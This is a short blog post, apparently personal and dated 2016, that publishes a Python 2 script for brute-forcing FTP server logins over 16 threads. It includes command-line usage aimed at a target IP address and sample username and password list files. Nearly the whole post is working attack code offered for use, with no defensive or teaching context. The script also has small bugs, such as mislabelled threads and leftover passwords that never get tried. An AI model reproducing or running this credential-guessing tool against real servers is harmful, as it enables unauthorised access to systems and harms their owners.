Tuesday, September 6, 2016

brute force ftp server -- 16 thread

#!/usr/bin/python

import thread
import time
import re
import subprocess
import ipaddress
import threading
import sys
from ftplib import FTP
n = 0
exitFlag = 0

class myThread (threading.Thread):
    def __init__(self, threadID, name, counter,baseAddr,nHost,device):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.name = name
        self.counter = counter
        self.baseAddr = baseAddr
        self.nHost = nHost
        self.device = device
    def run(self):
        print "Starting " + self.name
        handler_mgmt(self.name, self.counter, self.baseAddr, self.nHost, self.device)
        print "Exiting " + self.name





def brute(host, username, password):
    try:
        ftp = FTP(host)
        ftp.login(username, password)
        ftp.retrlines('LIST')
        print ('Ftp server connected using the provided username "' + username + '" and     password "' + password + '"')
        ftp.quit()
    except:
        print ('Could not connect to the ftp server using the provided username "' + username + '" and password "' + password + '"')


def handler_mgmt( threadName, delay, target, passlist, userlist):
    count = 0
    global n
    counter = len(passlist) * len(userlist)
    while counter:
        if exitFlag:
            threadName.exit()
        for i in userlist:
            for j in passlist:
                password = j
                username = i
               
                brute(target,username,password)
                if count == 10000:
                    time.sleep(delay)
                    count = 0
                count += 1
               
                counter -= 1
       



target = sys.argv[1]
passfile = sys.argv[3]
userfile = sys.argv[2]
with open(passfile) as f:
    passlist = [ line.strip() for line in f ]

with open(userfile) as f:
    userlist = [ line.strip() for line in f ]

passshare = len(passlist) / 16
#remain = len(passlist) % 4




thread1 = myThread(1, "Thread-1" , 1,target, passlist[:passshare], userlist)
thread2 = myThread(2, "Thread-2" , 1,target, passlist[passshare:passshare * 2], userlist)
thread3 = myThread(3, "Thread-3" , 1,target, passlist[passshare* 2:passshare *3], userlist)
thread4 = myThread(4, "Thread-4" , 1,target, passlist[passshare * 3:passshare * 4], userlist)
thread5 = myThread(5, "Thread-5" , 1,target, passlist[passshare * 4:passshare * 5], userlist)
thread6 = myThread(6, "Thread-6" , 1,target, passlist[passshare * 5:passshare * 6], userlist)
thread7 = myThread(7, "Thread-7" , 1,target, passlist[passshare* 6:passshare *7], userlist)
thread8 = myThread(8, "Thread-8" , 1,target, passlist[passshare * 7:passshare * 8], userlist)
thread9 = myThread(9, "Thread-9" , 1,target, passlist[passshare * 8:passshare * 9], userlist)
thread10 = myThread(10, "Thread-11" , 1,target, passlist[passshare * 9:passshare * 10], userlist)
thread11 = myThread(11, "Thread-12" , 1,target, passlist[passshare* 10:passshare *11], userlist)
thread12 = myThread(12, "Thread-13" , 1,target, passlist[passshare * 11:passshare * 12], userlist)
thread13 = myThread(13, "Thread-14" , 1,target, passlist[passshare * 12:passshare* 13], userlist)
thread14 = myThread(14, "Thread-10" , 1,target, passlist[passshare * 13:passshare * 14], userlist)
thread15 = myThread(15, "Thread-15" , 1,target, passlist[passshare* 14:passshare *15], userlist)
thread16 = myThread(16, "Thread-16" , 1,target, passlist[passshare* 15:passshare * 16], userlist)

# Start new Threads
thread1.start()
thread2.start()
thread3.start()
thread4.start()
thread5.start()
thread6.start()
thread7.start()
thread8.start()
thread9.start()
thread10.start()
thread11.start()
thread12.start()
thread13.start()
thread14.start()
thread15.start()
thread16.start()




1- how to use it
$ python script.py target listusername listpassword
example:

$ python script.py 192.168.202.34 userfile passfile

2- file format
-example userfile:
user1
user2
ftp1
ftp2

-example passlist
12345
23460
Passw0rd
abc



- snapshot when we execute it




No comments:

Post a Comment